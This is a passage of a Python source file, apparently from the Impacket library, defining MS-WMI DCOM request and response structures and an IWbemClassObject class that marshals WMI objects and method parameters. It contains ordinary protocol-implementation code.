    ('apReconnectInfo', _WBEM_RECONNECT_INFO_ARRAY),\n    )\n\nclass IWbemRefreshingServices_ReconnectRemoteRefresherResponse(DCOMANSWER):\n    structure = (\n       ('apReconnectResults', _WBEM_RECONNECT_RESULTS_ARRAY),\n       ('pdwSvrRefrVersion', DWORD),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.13 IWbemRemoteRefresher Interface\n# 3.1.4.13.1 IWbemRemoteRefresher::RemoteRefresh (Opnum 3)\nclass IWbemRemoteRefresher_RemoteRefresh(DCOMCALL):\n    opnum = 3\n    structure = (\n       ('lFlags', LONG),\n    )\n\nclass IWbemRemoteRefresher_RemoteRefreshResponse(DCOMANSWER):\n    structure = (\n       ('plNumObjects', _WBEM_RECONNECT_RESULTS_ARRAY),\n       ('paObjects', PWBEM_REFRESHED_OBJECT_ARRAY),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.13.2 IWbemRemoteRefresher::StopRefreshing (Opnum 4)\nclass IWbemRemoteRefresher_StopRefreshing(DCOMCALL):\n    opnum = 4\n    structure = (\n       ('lNumIds', LONG),\n       ('aplIds', PULONG_ARRAY),\n       ('lFlags', LONG),\n    )\n\nclass IWbemRemoteRefresher_StopRefreshingResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.14 IWbemShutdown Interface\n# 3.1.4.14.1 IWbemShutdown::Shutdown (Opnum 3)\nclass IWbemShutdown_Shutdown(DCOMCALL):\n    opnum = 3\n    structure = (\n       ('reserved1', LONG),\n       ('reserved2', ULONG),\n       ('reserved3', PMInterfacePointer),\n    )\n\nclass IWbemShutdown_ShutdownResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.15 IUnsecuredApartment Interface\n# 3.1.4.15.1 IUnsecuredApartment::CreateObjectStub (Opnum 3)\nclass IUnsecuredApartment_CreateObjectStub(DCOMCALL):\n    opnum = 3\n    structure = (\n       ('reserved1', PMInterfacePointer),\n    )\n\nclass IUnsecuredApartment_CreateObjectStubResponse(DCOMANSWER):\n    structure = (\n       ('reserved2', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.16 IWbemUnsecuredApartment Interface\n# 3.1.4.16.1 IWbemUnsecuredApartment::CreateSinkStub (Opnum 3)\nclass IWbemUnsecuredApartment_CreateSinkStub(DCOMCALL):\n    opnum = 3\n    structure = (\n       ('reserved1', PMInterfacePointer),\n       ('reserved2', DWORD),\n       ('reserved3', LPWSTR),\n    )\n\nclass IWbemUnsecuredApartment_CreateSinkStubResponse(DCOMANSWER):\n    structure = (\n       ('reserved4', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n}\n\n################################################################################\n# HELPER FUNCTIONS AND INTERFACES\n################################################################################\ndef checkNullString(string):\n    if string == NULL:\n        return string\n\n    if string[-1:] != '\\x00':\n        return string + '\\x00'\n    else:\n        return string\n\nclass IWbemClassObject(IRemUnknown):\n    def __init__(self, interface, iWbemServices = None):\n        IRemUnknown.__init__(self,interface)\n        self._iid = IID_IWbemClassObject\n        self.__iWbemServices = iWbemServices\n        self.__methods = None\n\n        objRef = self.get_objRef()\n        objRef = OBJREF_CUSTOM(objRef)\n        self.encodingUnit = ENCODING_UNIT(objRef['pObjectData'])\n        self.parseObject()\n        if not self.encodingUnit['ObjectBlock'].isInstance():\n            self.__new_class_name = None\n            self.__new_attributes = []\n            self.createMethods(self.getClassName(), self.getMethods())\n        else:\n            self.createProperties(self.getProperties())\n\n    def setClassName(self, value):\n        if not self.encodingUnit['ObjectBlock'].isInstance():\n            self.__new_class_name = value\n        else:\n            raise Exception(\"Cannot set class name for an instance object.\")\n\n    def addNewAttribute(self, name, type, default_value=None):\n        if not self.encodingUnit['ObjectBlock'].isInstance():\n            self.__new_attributes.append((name, type, default_value))\n            setattr(self, name, default_value)\n        else:\n            raise Exception(\"Cannot add new attribute to an instance object.\")\n\n    def __getattr__(self, attr):\n        if not attr.startswith('__'):\n            properties = self.getProperties()\n            # Let's see if there's a key property so we can ExecMethod\n            keyProperty = None\n            for pName in properties:\n                if 'key' in properties[pName]['qualifiers']:\n                    keyProperty = pName\n\n            if keyProperty is None:\n                LOG.error(\"I don't have a key property in this set!\")\n            else:\n                if self.__methods is None:\n                    classObject,_ = self.__iWbemServices.GetObject(self.getClassName())\n                    self.__methods = classObject.getMethods()\n\n                if attr in self.__methods:\n                    # Now we gotta build the class name to be called through ExecMethod\n                    if self.getProperties()[keyProperty]['stype'] != 'string':\n                        instanceName = '%s.%s=%s' % (\n                        self.getClassName(), keyProperty, self.getProperties()[keyProperty]['value'])\n                    else:\n                        instanceName = '%s.%s=\"%s\"' % (\n                        self.getClassName(), keyProperty, self.getProperties()[keyProperty]['value'])\n\n                    self.createMethods(instanceName , self.__methods)\n                    #print dir(self)\n                    return getattr(self, attr)\n\n        raise AttributeError(\"%r object has no attribute %r\" %\n                             (self.__class__, attr))\n\n    def parseObject(self):\n        self.encodingUnit['ObjectBlock'].parseObject()\n\n    def getObject(self):\n        return self.encodingUnit['ObjectBlock']\n\n    def getClassName(self):\n        if not self.encodingUnit['ObjectBlock'].isInstance():\n            return self.encodingUnit['ObjectBlock']['ClassType']['CurrentClass'].getClassName().split(' ')[0]\n        else:\n            return self.encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'].getClassName().split(' ')[0]\n\n    def printInformation(self):\n        return self.encodingUnit['ObjectBlock'].printInformation()\n\n    def getProperties(self):\n        if self.encodingUnit['ObjectBlock'].ctCurrent is None:\n            return ()\n        return self.encodingUnit['ObjectBlock'].ctCurrent['properties']\n    \n    def getMethods(self):\n        if self.encodingUnit['ObjectBlock'].ctCurrent is None:\n            return ()\n        return self.encodingUnit['ObjectBlock'].ctCurrent['methods']\n\n    @staticmethod\n    def __ndEntry(index, null_default, inherited_default):\n        # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wmio/ed436785-40fc-425e-ad3d-f9200eb1a122\n        return (bool(null_default) << 1 | bool(inherited_default)) << (2 * index)\n\n    def __createCimTypeQualifierSet(self, heap, propertyInfo):\n        propertyInfo['PropertyQualifierSet'] = b''\n\n        qualifierSet = QUALIFIER_SET()\n        qualifier = QUALIFIER()\n        qualifier['QualifierName'] = DICTIONARY_REFERENCE_TO_VALUE['CIMTYPE'] | 0x80000000\n        qualifier['QualifierFlavor'] = 0 #WBEM_FLAVOR_FLAG_PROPAGATE_O_INSTANCE | WBEM_FLAVOR_FLAG_PROPAGATE_O_DERIVED_CLASS\n        qualifier['QualifierType'] = CIM_TYPE_ENUM.CIM_TYPE_STRING.value\n        qualifier.structure = (('QualifierValue', CIM_TYPES_REF[qualifier['QualifierType'] & (~CIM_ARRAY_FLAG)]),)\n\n        qualifierSet['Qualifier'] = qualifier.getData() # for EncodingLength calculation\n        qualifierSet['EncodingLength'] = len(qualifierSet.getData())\n\n        # now we set real value for QualifierValue\n        qualifier['QualifierValue'] = len(heap) + len(propertyInfo) + len(qualifierSet.getData())\n\n        # set the final qualifier to QUALIFIER_SET\n        qualifierSet['Qualifier'] = qualifier.getData()\n\n        cimTypeString = ENCODED_STRING()\n        cimTypeString['Character'] = CIM_TYPE_TO_NAME[propertyInfo['PropertyType']]\n        return (qualifierSet, cimTypeString)\n\n    def marshalMe(self):\n\n        if self.encodingUnit['ObjectBlock'].isInstance():\n\n            # So, in theory, we have the OBJCUSTOM built, but \n            # we need to update the values\n            # That's what we'll do\n\n            instanceHeap = b''\n            valueTable = b''\n            ndTable = 0\n            parametersClass = ENCODED_STRING()\n            parametersClass['Character'] = self.getClassName()\n            instanceHeap += parametersClass.getData()\n            curHeapPtr = len(instanceHeap)\n            properties = self.getProperties()\n            for i, propName in enumerate(properties):\n                propRecord = properties[propName]\n                itemValue = getattr(self, propName)\n                propIsInherited = propRecord['inherited']\n                print(\"PropName %r, Value: %r\" % (propName,itemValue))\n\n                pType = propRecord['type'] & (~(CIM_ARRAY_FLAG|Inherited))\n                if propRecord['type'] & CIM_ARRAY_FLAG:\n                    # Not yet ready\n                    packStr = HEAPREF[:-2]\n                else:\n                    packStr = CIM_TYPES_REF[pType][:-2]\n\n                if propRecord['type'] & CIM_ARRAY_FLAG:\n                    if itemValue is None:\n                        ndTable |= self.__ndEntry(i, True, propIsInherited)\n                        valueTable += pack(packStr, 0)\n                    else:\n                        valueTable += pack('<L', curHeapPtr)\n                        arraySize = pack(HEAPREF[:-2], len(itemValue))\n                        packStrArray =  CIM_TYPES_REF[pType][:-2]\n                        arrayItems = b''\n                        for j in range(len(itemValue)):\n                            arrayItems += pack(packStrArray, itemValue[j])\n                        instanceHeap += arraySize + arrayItems\n                        curHeapPtr = len(instanceHeap)\n                elif pType in (CIM_TYPE_ENUM.CIM_TYPE_UINT8.value, CIM_TYPE_ENUM.CIM_TYPE_UINT16.value,\n                            CIM_TYPE_ENUM.CIM_TYPE_UINT32.value, CIM_TYPE_ENUM.CIM_TYPE_UINT64.value):\n                    if itemValue is None:\n                        ndTable |= self.__ndEntry(i, True, propIsInherited)\n                        valueTable += pack(packStr, 0)\n                    else:\n                        valueTable += pack(packStr, int(itemValue))\n                elif pType in (CIM_TYPE_ENUM.CIM_TYPE_BOOLEAN.value,):\n                    if itemValue is None:\n                        ndTable |= self.__ndEntry(i, True, propIsInherited)\n                        valueTable += pack(packStr, False)\n                    else:\n                        valueTable += pack(packStr, bool(itemValue))\n                elif pType not in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value,\n                                CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value, CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value):\n                    if itemValue is None:\n                        ndTable |= self.__ndEntry(i, True, propIsInherited)\n                        valueTable += pack(packStr, -1)\n                    else:\n                        valueTable += pack(packStr, itemValue)\n                elif pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value:\n                    # For now we just pack None and set the inherited_default\n                    # flag, just in case a parent class defines this for us\n                    valueTable += NULL.getData()\n                    if itemValue is None:\n                        ndTable |= self.__ndEntry(i, True, True)\n                else:\n                    if itemValue == '':\n                        # https://github.com/fortra/impacket/pull/1069#issuecomment-835179409\n                        # Force inherited_default to avoid 'obscure' issue in wmipersist.py\n                        ndTable |= self.__ndEntry(i, True, True)\n                        valueTable += NULL.getData()\n                    else:\n                        strIn = ENCODED_STRING()\n                        strIn['Character'] = itemValue\n                        valueTable += pack('<L', curHeapPtr)\n                        instanceHeap += strIn.getData()\n                        curHeapPtr = len(instanceHeap)\n\n            ndTableLen = (len(properties) - 1) // 4 + 1\n            packedNdTable = b''\n            for i in range(ndTableLen):\n                packedNdTable += pack('B', ndTable & 0xff)\n                ndTable >>=  8\n\n            # Now let's update the structure\n            objRef = self.get_objRef()\n            objRef = OBJREF_CUSTOM(objRef)\n            encodingUnit = ENCODING_UNIT(objRef['pObjectData'])\n\n            currentClass = encodingUnit['ObjectBlock']['InstanceType']['CurrentClass']\n            encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] = b''\n\n            encodingUnit['ObjectBlock']['InstanceType']['NdTable_ValueTable'] = packedNdTable + valueTable\n            encodingUnit['ObjectBlock']['InstanceType']['InstanceHeap']['HeapLength'] = len(instanceHeap) | 0x80000000\n            encodingUnit['ObjectBlock']['InstanceType']['InstanceHeap']['HeapItem'] = instanceHeap\n\n            encodingUnit['ObjectBlock']['InstanceType']['EncodingLength'] = len(encodingUnit['ObjectBlock']['InstanceType'])\n            encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] = currentClass\n\n            encodingUnit['ObjectEncodingLength'] = len(encodingUnit['ObjectBlock'])\n            objRef['pObjectData'] = encodingUnit\n\n        else:\n\n            objUnit = self.getObject()\n            classPart = objUnit['ClassType']['CurrentClass']['ClassPart']\n            cHeap = classPart['ClassHeap']['HeapItem']\n\n            ### determine class name\n            if self.__new_class_name:\n                classPart['ClassHeader']['ClassNameRef'] = len(cHeap)\n                className = ENCODED_STRING()\n                className['Character'] = self.__new_class_name\n                cHeap += className.getData()\n\n            ### preserve existing properties\n            existingPropCount = classPart['PropertyLookupTable']['PropertyCount']\n            if existingPropCount > 0:\n                existingNdTableLen = (existingPropCount - 1) // 4 + 1\n            else:\n                existingNdTableLen = 0\n            existingNdTableBytes = classPart['NdTable_ValueTable'][:existingNdTableLen]\n            existingValueTable = classPart['NdTable_ValueTable'][existingNdTableLen:]\n\n            # Reconstruct existing ndTable as integer\n            ndTable = 0\n            for j in range(len(existingNdTableBytes)):\n                ndTable |= existingNdTableBytes[j] << (8 * j)\n\n            valueTable = existingValueTable\n\n            ### add new properties\n            classPart['PropertyLookupTable']['PropertyCount'] += len(self.__new_attributes)\n\n            sorted_attrs = sorted(self.__new_attributes, key=lambda x:x[0])\n            for i, attr in enumerate(sorted_attrs):\n                attribute_name, attribute_type, attribute_default_value = attr\n                propIndex = existingPropCount + i\n\n                # property name\n                classPart['PropertyLookupTable']['PropertyLookup'] += pack(PROPERTY_NAME_REF[:-2], len(cHeap))\n                attrName = ENCODED_STRING()\n                attrName['Character'] = attribute_name\n                cHeap += attrName.getData()\n\n                # property info\n                classPart['PropertyLookupTable']['PropertyLookup'] += pack(PROPERTY_INFO_REF[:-2], len(cHeap))\n                propertyInfo = PROPERTY_INFO()\n                propertyInfo['PropertyType'] = attribute_type.value\n                propertyInfo['DeclarationOrder'] = propIndex\n                propertyInfo['ValueTableOffset'] = len(valueTable)\n                propertyInfo['ClassOfOrigin'] = 0 # TODO\n                qualifierSet, cimType = self.__createCimTypeQualifierSet(cHeap, propertyInfo)\n                propertyInfo['PropertyQualifierSet'] = qualifierSet\n                cHeap += propertyInfo.getData()\n                cHeap += cimType.getData()\n\n                curHeapPtr = len(cHeap)\n\n                # property value\n                pType = attribute_type.value & (~(CIM_ARRAY_FLAG|Inherited))\n                itemValue = attribute_default_value\n                propIsInherited = attribute_type.value & Inherited\n                if attribute_type.value & CIM_ARRAY_FLAG:\n                    # Not yet ready\n                    packStr = HEAPREF[:-2]\n                else:\n                    packStr = CIM_TYPES_REF[pType][:-2]\n\n                if attribute_type.value & CIM_ARRAY_FLAG:\n                    if itemValue is None:\n                        ndTable |= self.__ndEntry(propIndex, True, propIsInherited)\n                        valueTable += pack(packStr, 0)\n                    else:\n                        valueTable += pack('<L', curHeapPtr)\n                        arraySize = pack(HEAPREF[:-2], len(itemValue))\n                        packStrArray =  CIM_TYPES_REF[pType][:-2]\n                        arrayItems = b''\n                        for j in range(len(itemValue)):\n                            arrayItems += pack(packStrArray, itemValue[j])\n                        cHeap += arraySize + arrayItems\n                        curHeapPtr = len(cHeap)\n                elif pType in (CIM_TYPE_ENUM.CIM_TYPE_UINT8.value, CIM_TYPE_ENUM.CIM_TYPE_UINT16.value,\n                            CIM_TYPE_ENUM.CIM_TYPE_UINT32.value, CIM_TYPE_ENUM.CIM_TYPE_UINT64.value):\n                    if itemValue is None:\n                        ndTable |= self.__ndEntry(propIndex, True, propIsInherited)\n                        valueTable += pack(packStr, 0)\n                    else:\n                        valueTable += pack(packStr, int(itemValue))\n                elif pType in (CIM_TYPE_ENUM.CIM_TYPE_BOOLEAN.value,):\n                    if itemValue is None:\n                        ndTable |= self.__ndEntry(propIndex, True, propIsInherited)\n                        valueTable += pack(packStr, False)\n                    else:\n                        valueTable += pack(packStr, bool(itemValue))\n                elif pType not in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value,\n                                CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value, CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value):\n                    if itemValue is None:\n                        ndTable |= self.__ndEntry(propIndex, True, propIsInherited)\n                        valueTable += pack(packStr, -1)\n                    else:\n                        valueTable += pack(packStr, itemValue)\n                elif pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value:\n                    # For now we just pack None and set the inherited_default\n                    # flag, just in case a parent class defines this for us\n                    valueTable += NULL.getData()\n                    if itemValue is None:\n                        ndTable |= self.__ndEntry(propIndex, True, True)\n                else:\n                    if itemValue == None:\n                        itemValue = ''\n                    strIn = ENCODED_STRING()\n                    strIn['Character'] = itemValue\n                    valueTable += pack('<L', curHeapPtr)\n                    cHeap += strIn.getData()\n                    curHeapPtr = len(cHeap)\n\n            classPart['ClassHeap']['HeapLength'] = len(cHeap) | 0x80000000\n            classPart['ClassHeap']['HeapItem'] = cHeap\n\n            totalPropCount = classPart['PropertyLookupTable']['PropertyCount']\n            ndTableLen = (totalPropCount - 1) // 4 + 1 if totalPropCount > 0 else 0\n            packedNdTable = b''\n            for i in range(ndTableLen):\n                packedNdTable += pack('B', ndTable & 0xff)\n                ndTable >>=  8\n\n            classPart['ClassHeader']['NdTableValueTableLength'] = len(packedNdTable + valueTable)\n            classPart['NdTable_ValueTable'] = packedNdTable + valueTable\n            # classPart['_NdTable_ValueTable'] = len(classPart['NdTable_ValueTable'])\n\n            classPart['ClassHeader']['EncodingLength'] = len(classPart)\n            objUnit['ClassType']['CurrentClass']['ClassPart'] = classPart\n\n            self.encodingUnit['ObjectEncodingLength'] = len(objUnit)\n            # self.encodingUnit['_ObjectBlock'] = len(objUnit)\n            self.encodingUnit['ObjectBlock'] = objUnit\n            # self.encodingUnit.dump()\n\n            objRef = self.get_objRef()\n            objRef = OBJREF_CUSTOM(objRef)\n            objRef['pObjectData'] = self.encodingUnit\n\n        return objRef\n\n    def SpawnInstance(self):\n        # Doing something similar to:\n        # https://docs.microsoft.com/windows/desktop/api/wbemcli/nf-wbemcli-iwbemclassobject-spawninstance\n        #\n        if self.encodingUnit['ObjectBlock'].isInstance() is False:\n            # We need to convert some things to transform a class into an instance\n            encodingUnit = ENCODING_UNIT()\n\n            instanceData = OBJECT_BLOCK()\n            instanceData.structure += OBJECT_BLOCK.decoration\n            instanceData.structure += OBJECT_BLOCK.instanceType\n            instanceData['ObjectFlags'] = CIM_INSTANCE | CIM_DECORATION\n            instanceData['Decoration'] = self.encodingUnit['ObjectBlock']['Decoration'].getData()\n\n            instanceType = INSTANCE_TYPE()\n            instanceType['CurrentClass'] = b''\n\n            # Let's create the heap for the parameters\n            instanceHeap = b''\n            valueTable = b''\n            parametersClass = ENCODED_STRING()\n            parametersClass['Character'] = self.getClassName()\n            instanceHeap += parametersClass.getData()\n            curHeapPtr = len(instanceHeap)\n\n            ndTable = 0\n            properties = self.getProperties()\n\n            # Let's initialize the values\n            for i, propName in enumerate(properties):\n                propRecord = properties[propName]\n\n                pType = propRecord['type'] & (~(CIM_ARRAY_FLAG|Inherited)) \n                if propRecord['type'] & CIM_ARRAY_FLAG:\n                    # Not yet ready\n                    #print paramDefinition\n                    #raise\n                    packStr = HEAPREF[:-2]\n                else:\n                    packStr = CIM_TYPES_REF[pType][:-2]\n\n                if propRecord['type'] & CIM_ARRAY_FLAG:\n                    valueTable += pack(packStr, 0)\n                elif pType not in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value,\n                                   CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value, CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value):\n                    valueTable += pack(packStr, 0)\n                elif pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value:\n                    # For now we just pack None and set the inherited_default\n                    # flag, just in case a parent class defines this for us\n                    valueTable += NULL.getData()\n                    ndTable |= self.__ndEntry(i, True, True)\n                else:\n                    strIn = ENCODED_STRING()\n                    strIn['Character'] = ''\n                    valueTable += pack('<L', curHeapPtr)\n                    instanceHeap += strIn.getData()\n                    curHeapPtr = len(instanceHeap)\n\n            ndTableLen = (len(properties) - 1) // 4 + 1\n            packedNdTable = b''\n            for i in range(ndTableLen):\n                packedNdTable += pack('B', ndTable & 0xff)\n                ndTable >>=  8\n\n            instanceType['NdTable_ValueTable'] = packedNdTable + valueTable\n\n            instanceType['InstanceQualifierSet'] = b'\\x04\\x00\\x00\\x00\\x01'\n\n            instanceType['InstanceHeap'] = HEAP()\n            instanceType['InstanceHeap']['HeapItem'] = instanceHeap\n            instanceType['InstanceHeap']['HeapLength'] = len(instanceHeap) | 0x80000000\n            instanceType['EncodingLength'] = len(instanceType)\n\n            instanceType['CurrentClass'] = self.encodingUnit['ObjectBlock']['ClassType']['CurrentClass']['ClassPart']\n            instanceData['InstanceType'] = instanceType.getData()\n\n            encodingUnit['ObjectBlock'] = instanceData\n            encodingUnit['ObjectEncodingLength'] = len(instanceData)\n\n            #ENCODING_UNIT(str(encodingUnit)).dump()\n\n            objRefCustomIn = OBJREF_CUSTOM()\n            objRefCustomIn['iid'] = self._iid\n            objRefCustomIn['clsid'] = CLSID_WbemClassObject\n            objRefCustomIn['cbExtension'] = 0\n            objRefCustomIn['ObjectReferenceSize'] = len(encodingUnit)\n            objRefCustomIn['pObjectData'] = encodingUnit\n\n            # There's gotta be a better way to do this\n            # I will reimplement this stuff once I know it works\n            import copy\n            newObj = copy.deepcopy(self)\n            newObj.set_objRef(objRefCustomIn.getData())\n            newObj.process_interface(objRefCustomIn.getData())\n            newObj.encodingUnit = ENCODING_UNIT(encodingUnit.getData())\n            newObj.parseObject()\n            if newObj.encodingUnit['ObjectBlock'].isInstance() is False:\n                newObj.createMethods(newObj.getClassName(), newObj.getMethods())\n            else:\n                newObj.createProperties(newObj.getProperties())\n\n            return newObj\n        else:\n            return self\n\n    def createProperties(self, properties):\n        for property in properties:\n            # Do we have an object property?\n            cimType = properties[property]['type'] & (~Inherited)\n            if cimType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value and properties[property]['value'] != None:\n                # Yes.. let's create an Object for it too\n                objRef = OBJREF_CUSTOM()\n                objRef['iid'] = self._iid\n                objRef['clsid'] = CLSID_WbemClassObject\n                objRef['cbExtension'] = 0\n                objRef['ObjectReferenceSize'] = len(properties[property]['value'].getData())\n                objRef['pObjectData'] = properties[property]['value']\n                value = IWbemClassObject( INTERFACE(self.get_cinstance(), objRef.getData(), self.get_ipidRemUnknown(),\n                      oxid=self.get_oxid(), target=self.get_target()))\n            elif cimType == CIM_TYPE_ENUM.CIM_ARRAY_OBJECT.value:\n                if isinstance(properties[property]['value'], list):\n                    value = list()\n                    for item in properties[property]['value']:\n                        # Yes.. let's create an Object for it too\n                        objRef = OBJREF_CUSTOM()\n                        objRef['iid'] = self._iid\n                        objRef['clsid'] = CLSID_WbemClassObject\n                        objRef['cbExtension'] = 0\n                        objRef['ObjectReferenceSize'] = len(item.getData())\n                        objRef['pObjectData'] = item\n                        wbemClass = IWbemClassObject(\n                            INTERFACE(self.get_cinstance(), objRef.getData(), self.get_ipidRemUnknown(),\n                                      oxid=self.get_oxid(), target=self.get_target()))\n                        value.append(wbemClass)\n                else:\n                    value = properties[property]['value']\n            else:\n                value = properties[property]['value']\n            setattr(self, property, value)\n\n    def createMethods(self, classOrInstance, methods):\n        class FunctionPool:\n            def __init__(self,function):\n                self.function = function\n            def __getitem__(self,item):\n                return partial(self.function,item)\n\n        @FunctionPool\n        def innerMethod(staticArgs, *args):\n            classOrInstance = staticArgs[0] \n            methodDefinition = staticArgs[1] \n            if methodDefinition['InParams'] is not None:\n                if len(args) != len(methodDefinition['InParams']):\n                    LOG.error(\"Function called with %d parameters instead of %d!\" % (len(args), len(methodDefinition['InParams'])))\n                    return None\n                # In Params\n                encodingUnit = ENCODING_UNIT()\n\n                inParams = OBJECT_BLOCK()\n                inParams.structure += OBJECT_BLOCK.instanceType\n                inParams['ObjectFlags'] = CIM_INSTANCE\n                inParams['Decoration'] = b''\n\n                instanceType = INSTANCE_TYPE()\n                instanceType['CurrentClass'] = b''\n                instanceType['InstanceQualifierSet'] = b'\\x04\\x00\\x00\\x00\\x01'\n\n                # Let's create the heap for the parameters\n                instanceHeap = b''\n                valueTable = b''\n                parametersClass = ENCODED_STRING()\n                parametersClass['Character'] = '__PARAMETERS'\n                instanceHeap += parametersClass.getData()\n                curHeapPtr = len(instanceHeap)\n\n                ndTable = 0\n                for i in range(len(args)):\n                    paramDefinition = list(methodDefinition['InParams'].values())[i]\n                    inArg = args[i]\n\n                    pType = paramDefinition['type'] & (~(CIM_ARRAY_FLAG|Inherited)) \n                    if paramDefinition['type'] & CIM_ARRAY_FLAG:\n                        # Not yet ready\n                        #print paramDefinition\n                        #raise\n                        packStr = HEAPREF[:-2]\n                    else:\n                        packStr = CIM_TYPES_REF[pType][:-2]\n\n                    if paramDefinition['type'] & CIM_ARRAY_FLAG:\n                        if inArg is None:\n                            valueTable += pack(packStr, 0)\n                        elif pType in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value,\n                                       CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value, CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value):\n                            arraySize = pack(HEAPREF[:-2], len(inArg))\n                            arrayItems = []\n                            for j in range(len(inArg)):\n                                curVal = inArg[j]\n                                if pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value:\n                                    curObject = b''\n                                    marshaledObject = curVal.marshalMe()\n                                    curObject += pack('<L', marshaledObject['pObjectData']['ObjectEncodingLength'])\n                                    curObject += marshaledObject['pObjectData']['ObjectBlock'].getData()\n                                    arrayItems.append(curObject)\n                                    continue\n                                strIn = ENCODED_STRING()\n                                if type(curVal) is str:\n                                    # The Encoded-String-Flag is set to 0x01 if the sequence of characters that follows\n                                    # consists of UTF-16 characters (as specified in [UNICODE]) followed by a UTF-16 null\n                                    # terminator.\n                                    strIn['Encoded_String_Flag'] = 0x1\n                                    strIn.structure = strIn.tunicode\n                                    strIn['Character'] = curVal.encode('utf-16le')\n                                else:\n                                    strIn['Character'] = curVal\n                                arrayItems.append(strIn.getData())\n\n\n                            curStrHeapPtr = curHeapPtr + 4\n                            arrayHeapPtrValues = b''\n                            arrayValueTable = b''\n                            for j in range(len(arrayItems)):\n                                arrayHeapPtrValues += pack('<L', curStrHeapPtr + 4 * (len(arrayItems) - j) + len(arrayValueTable))\n                                arrayValueTable += arrayItems[j]\n                                curStrHeapPtr += 4\n\n                            valueTable += pack('<L', curHeapPtr)\n                            instanceHeap += arraySize + arrayHeapPtrValues + arrayValueTable\n                            curHeapPtr = len(instanceHeap)\n                        else:\n                            arraySize = pack(HEAPREF[:-2], len(inArg))\n                            valueTable += pack('<L', curHeapPtr)\n                            instanceHeap += arraySize\n                            for curVal in inArg:\n                                instanceHeap += pack(packStr, curVal)\n                            curHeapPtr = len(instanceHeap)\n                    elif pType not in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value,\n                                       CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value, CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value):\n                        valueTable += pack(packStr, inArg)\n                    elif pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value:\n                        if inArg is None:\n                            # For now we just pack None and set the inherited_default\n                            # flag, just in case a parent class defines this for us\n                            valueTable += b'\\x00' * 4\n                            ndTable |= self.__ndEntry(i, True, True)\n                        else:\n                            valueTable += pack('<L', curHeapPtr)\n                            marshaledObject = inArg.marshalMe()\n                            instanceHeap += pack('<L', marshaledObject['pObjectData']['ObjectEncodingLength'])\n                            instanceHeap += marshaledObject['pObjectData']['ObjectBlock'].getData()\n                            curHeapPtr = len(instanceHeap)\n                    else:\n                        strIn = ENCODED_STRING()\n                        if type(inArg) is str:\n                            # The Encoded-String-Flag is set to 0x01 if the sequence of characters that follows\n                            # consists of UTF-16 characters (as specified in [UNICODE]) followed by a UTF-16 null\n                            # terminator.\n                            strIn['Encoded_String_Flag'] = 0x1\n                            strIn.structure = strIn.tunicode\n                            strIn['Character'] = inArg.encode('utf-16le')\n                        else:\n                            strIn['Character'] = inArg\n                        valueTable += pack('<L', curHeapPtr)\n                        instanceHeap += strIn.getData()\n                        curHeapPtr = len(instanceHeap)\n\n                ndTableLen = (len(args) - 1) // 4 + 1\n\n                packedNdTable = b''\n                for i in range(ndTableLen):\n                    packedNdTable += pack('B', ndTable & 0xff)\n                    ndTable >>=  8\n\n                instanceType['NdTable_ValueTable'] = packedNdTable + valueTable\n                heapRecord = HEAP()\n                heapRecord['HeapLength'] = len(instanceHeap) | 0x80000000\n                heapRecord['HeapItem'] = instanceHeap\n                \n                instanceType['InstanceHeap'] = heapRecord\n\n                instanceType['EncodingLength'] = len(instanceType)\n                inMethods = methodDefinition['InParamsRaw']['ClassType']['CurrentClass']['ClassPart']\n                inMethods['ClassHeader']['EncodingLength'] = len(\n                    methodDefinition['InParamsRaw']['ClassType']['CurrentClass']['ClassPart'].getData())\n                instanceType['CurrentClass'] = inMethods\n\n                inParams['InstanceType'] = instanceType.getData()\n\n                encodingUnit['ObjectBlock'] = inParams\n                encodingUnit['ObjectEncodingLength'] = len(inParams)\n\n                objRefCustomIn = OBJREF_CUSTOM()\n                objRefCustomIn['iid'] = self._iid\n                objRefCustomIn['clsid'] = CLSID_WbemClassObject\n                objRefCustomIn['cbExtension'] = 0\n                objRefCustomIn['ObjectReferenceSize'] = len(encodingUnit)\n                objRefCustomIn['pObjectData'] = encodingUnit\n            else:\n                objRefCustomIn = NULL\n\n            ### OutParams\n            encodingUnit = ENCODING_UNIT()\n\n            outParams = OBJECT_BLOCK()\n            outParams.structure += OBJECT_BLOCK.instanceType\n            outParams['ObjectFlags'] = CIM_CLASS\n            outParams['Decoration'] = b''\n\n            instanceType = INSTANCE_TYPE()\n            instanceType['CurrentClass'] = 